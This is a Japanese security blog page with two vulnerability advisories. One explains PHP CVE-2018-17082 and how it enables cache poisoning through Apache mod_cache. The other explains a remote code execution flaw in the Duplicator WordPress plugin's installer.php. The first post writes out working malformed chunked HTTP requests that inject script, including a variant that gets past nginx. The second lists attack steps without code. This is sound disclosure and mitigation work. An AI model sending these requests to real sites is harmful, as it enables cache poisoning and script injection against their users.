2018年9月25日火曜日

PHPの脆弱性 CVE-2018-17082 によるキャッシュ汚染についての注意喚起

エグゼクティブサマリ

PHPの脆弱性CVE-2018-17082はXSSとして報告されているが、現実にはXSSとしての攻撃経路はない。一方、Apacheのmod_cacheによるキャッシュ機能を有効にしているサイトでは、キャッシュ汚染という攻撃を受ける可能性がある。

概要

PHPの現在サポート中のすべてのバージョンについて、XSS脆弱性CVE-2018-17082が修正されました。以下は対応バージョンであり、これより前のすべてのバージョンが影響を受けます。ただし、Apacheとの接続にApache2handlerを用いている場合に限ります。
  • PHP 5.6.38
  • PHP 7.0.32
  • PHP 7.1.22
  • PHP 7.2.10
PHP 5.5以前も対象であり、これらは脆弱性は修正されていません。

脆弱性を再現させてみる

この脆弱性のPoCは、当問題のバグレポートにあります。

PHP :: Sec Bug #76582 :: XSS due to the header Transfer-Encoding: chunked

要約すると、Apacheハンドラを使用しているPHP環境に対して、壊れたchunkedエンコーディングのリクエストを送信すると、リクエストボディの内容がレスポンスにそのまま付加されてしまうというものです。
以下は、サンプルとしてもちいるPHPスクリプトです。拙著「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」から /31/31-001.php の転用です。

<body>
<?php echo htmlspecialchars(date('G:i')); ?>
</body>
これを以下のURLでアクセスします。88ポートを使っているのは、80ポートだとnginx経由となり、攻撃が刺さらないからです(後述)。
http://example.jp:88/31/31-001.php
このURLによるHTTPリクエストを以下の赤字のように変更します。
GET /31/31-001.php HTTP/1.1
Host: example.jp:88
User-Agent: Mozilla/5.0
Transfer-Encoding: chunked
Content-Length: 32

<script>alert('Hacked')</script>
以下のHTTPレスポンスが返りますが、赤字に示すように、リクエストボディに付加した文字列が追加されています。
HTTP/1.1 200 OK
Date: Sun, 23 Sep 2018 07:32:44 GMT
Server: Apache/2.4.25 (Debian)
X-UA-Compatible: IE=edge
Content-Length: 52
Connection: close
Content-Type: text/html; charset=UTF-8

<body>
16:32</body>
<script>alert('Hacked')</script>
ちなみに、Transfer-Encoding: chunked の場合、正しいリクエストは以下となります。20は16進数ですので、十進数にすると32ということになります。
GET /31/31-001.php HTTP/1.1
Host: example.jp:88
User-Agent: Mozilla/5.0
Transfer-Encoding: chunked

20
<script>alert('Hacked')</script>
0
             (空行)
CVE-2018-17082は、壊れたchunkedエンーコーディングの場合の処理にバグがあり、不正な結果を返すというものです。

CVE-2018-17082はXSSとしては攻撃できない

この脆弱性は元の報告やNVD等ではXSSとして報告されていますが、通常のXSSとは脆性の成り立ちが異なりますし、そもそもXSS攻撃はできません。
XSSとして攻撃するためには、被害者のブラウザから壊れたchunkedエンコーディングのリクエストを送信する必要がありますが、それは不可能です。このため、XSS攻撃はできません。

CVE-2018-17082によるキャッシュ汚染(mod_cache編)

しかし、脆弱性の影響がないわけではなく、キャッシュ汚染という手法が使える場合があります。筆者が調査した範囲では、プロキシサーバー形式のキャッシュサーバーでは影響がなく(後述)、Apacheのmod_cacheを用いたキャッシュ(リバースプロキシではなくApacheのレスポンスをダイレクトにキャッシュする場合)では影響があります。
以下は、キャッシュ汚染の模式図です。


攻撃対象サイト(Target site)は、Apacheとmod_cacheによるキャッシュを備えています。
攻撃者(Attacker)は、仕掛けを含むリクエストを送ると、レスポンスにJavaScriptを含ませることができますが、その際のレスポンスがファイル等にキャッシュされます。一般利用者が、キャッシュの有効期間中に同じURLにアクセスすると、汚染されたレスポンスを受け取ることになります。
攻撃の様子をデモ動画として用意しました。以下は、mod_cahceを用いてWordPressを高速化をしているサイトを想定したものです。




CVE-2018-17082によるキャッシュ汚染(キャッシュサーバー編)

一方、リバースプロキシによるキャッシュサーバーでは影響がないようです。
その理由は、壊れたリクエストを送るとリバースプロキシの時点でエラーになり、リクエストがApacheまで届かないためです。
このパターンについて色々調べてみました。リバースプロキシではエラーにならないが、Apacheではエラーになるパターンがあれば、攻撃できる可能性があります。そのようなパターンとして以下を発見しました。
GET /31/31-001.php HTTP/1.1
Host: example.jp:88
User-Agent: Mozilla/5.0
Transfer-Encoding: chunked

5 <script>alert('Hacked')</script>
ABCDE
0

このリクエストは、nginxだと、リクエストボディの 5 の後に続く空白以降を無視するので、chunkedエンコーディングとしてバリッドとみなされ、エラーになりません。一方、Apacheだと空白以降を無視しないので、以下のようにエラーになります。
HTTP/1.1 400 Bad Request
Date: Mon, 24 Sep 2018 08:36:24 GMT
Server: Apache/2.4.25 (Debian)
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.25 (Debian) Server at example.jp Port 88</address>
</body></html>
5 <script>alert('Hacked')</script>
やったーと思いましたが、nginx経由でApacheにリクエストを送信すると、エラーになりません。どうも、nginxがApacheにリクエストを中継する際に、チャンク長 5の後の余計な文字列を除去しているように思います。調べた結果、Apacheにリクエストを中継する際にnginxが冗長なTransfer-Encoding: chunked を除去していることが分かりました。ということで、nginx(他にもsquid、Apache+mod_proxy)によるプロキシサーバー経由では、攻撃を再現させることはできていません。

影響を受けるサイト

当脆弱性が再現するのは Apacheとの接続にApache2handlerを用いていて、以下のPHPバージョンを利用しているケースです。
  • PHP 5.5以前
  • PHP 5.6.37 以前
  • PHP 7.0.31 以前
  • PHP 7.1.21 以前
  • PHP 7.2.9 以前
ただし、Apache + mod_cahce によるキャッシュを用いている場合のみ攻撃経路が判明しています。したがって、mod_cacheによるキャッシュを用いているPHPサイトは至急のバージョンアップまたはパッチ適用を強く推奨します。
その他の場合でも、対象のPHPバージョンを使っている場合、早めの対応を推奨します。

各Linuxディストリビューションの対応

RHEL / CentOS / Debian / Ubuntuの主要Linuxディストリビューションのうち、本校執筆時点では Ubuntuのみが対応を完了しています。Ubuntu 14.04、Ubuntu 16.04、Ubuntu 18.04が対象です。その他のディストリビューションは未対応のようです。

対策

PHPの最新版(5.6以降)をインストールすることで対策となります。Ubuntuの標準パッケージのPHPを使っているサイトは、前述のように、最新のパッチを適用することでも対策になります。
PHPのバージョンアップやパッチ適用が当面できないという場合は、CGIあるいはFast CGIモードでPHPを動かすことでも対策になります。また、HTTPDとしてApacheの代わりにNginx等を用いることでも対策になります。


まとめ

PHP の脆弱性 CVE-2018-17082 について報告しました。
当該脆弱性はXSSとしての攻撃はできませんが、キャシュ汚染としての攻撃が可能であることを示しました。PHPスクリプトの中身によらず攻撃が可能なので、攻撃可能な条件に該当するサイトは即時の対応を推奨します。そうでなくても、該当バージョンのPHPをお使いのサイトは、早めのバージョンアップまたはパッチ適用を推奨します。


免責

このセキュリティ情報は予告なしに改訂される場合がある。このセキュリティ情報を適用した結果について徳丸浩およびEGセキュアソリューションズ株式会社は一切の責任を負わず、利用者の利益のために、あるがままの状態で公開するものである。

PR

【10月24日(水)・11月7日(水)】徳丸本によるホワイトハッカー入門 ~基礎講座・応用講座~ 開講 申し込み受付中

2018年9月10日月曜日

WordPressのプラグインDuplicator 1.2.40以前にリモートコード実行の脆弱性

エグゼクティブサマリ

WordPressの人気プラグイン Duplicator(1.2.40以前) にリモートから任意コード実行可能な脆弱性が発見された。Duplicator はWordPressサイトを複製することのできるプラグインであり、Duplicatorにより複製したサイト(複製先)が影響を受ける。このため、プラグインのアップデートだけでは対策にならない。詳細は対策の項を参照されたし。

概要

WordPressのプラグイン Duplicator はWordPressサイトを手軽に複製できるプラグインであり、サイトの移行や複製に広く用いられています。Duplicatorは複製元にプラグインとして導入して、移行用の二種類のファイルを生成します。

Duplicator → installer.php             インストーラー
               2018-xxxxxxxxxxxxxx.zip   アーカイブファイル

これらのファイル移行先サイトにアップロードして、installer.phpを実行することで、サイトの複製を作成します。
このinstaller.phpに脆弱性があり、任意コード実行を許す結果となります。

脆弱性の原因

脆弱性の概要は以下の記事(英文)にて紹介されています。ただし、即実行可能なPoCは含まれていません。

Duplicator Update Patches Remote Code Execution Flaw

※ 2018年9月10日 17:40追記 : この記事本文にはPoCはありませんが、リンク先(PDF)にて即実行可能なPoCが記載されています。ブックマークコメントにてご指摘いただきました。ありがとうございました。

この記事の内容から、当該脆弱性を再現したところ、リモートコード実行が確認できました。PoCが公開されていないこともあり、悪用防止のため、原因と攻撃の概要のみ説明すると、下記の通りです。
  • installer.phpはwp-config.php (WordPressの設定ファイル)を自動生成する
  • この生成部分にPHPコードのエスケープ漏れがあり、外部からの入力がPHPコードとして実行される

攻撃ステップは、以下の通り。
  1. 複製先サイトに installer.php が残っていることを確認する
  2. installer.phpを実行し、パラメータとしてPHPコードをインジェクションする
  3. 生成後の wp-config.php にアクセスし、任意コードを実行する
リモートコード実行例

対策

Duplicator 1.2.42 (現時点の最新バージョン)にて対策されています。即時のバージョンアップ(複製元、複製先の両方)を推奨しますが、対策はこれだけでは不十分です。
既に Duplicator で複製したサイト(複製先)は、installer.phpおよび installer-backup.php を即時削除する必要があります。このファイルに限らず、移行により生成されたファイルのうち、サイト閲覧に必要ないファイルは削除を推奨します。
複製先に脆弱な Duplicator で生成された installer.php が残っている限り、複製元でDuplicatorをバージョンアップしても、installer.phpに対する攻撃は受けるため、上記は重要です。
一般論としても、このようなセットアップ用のスクリプト類は、セットアップ完了後はただちに削除すべきですし、セットアップ中も外部からアクセスできないように、アクセス制御すべきです。

PR

【10月24日(水)・11月7日(水)】徳丸本によるホワイトハッカー入門 ~基礎講座・応用講座~ 開講 申し込み受付中

フォロワー

ブログ アーカイブ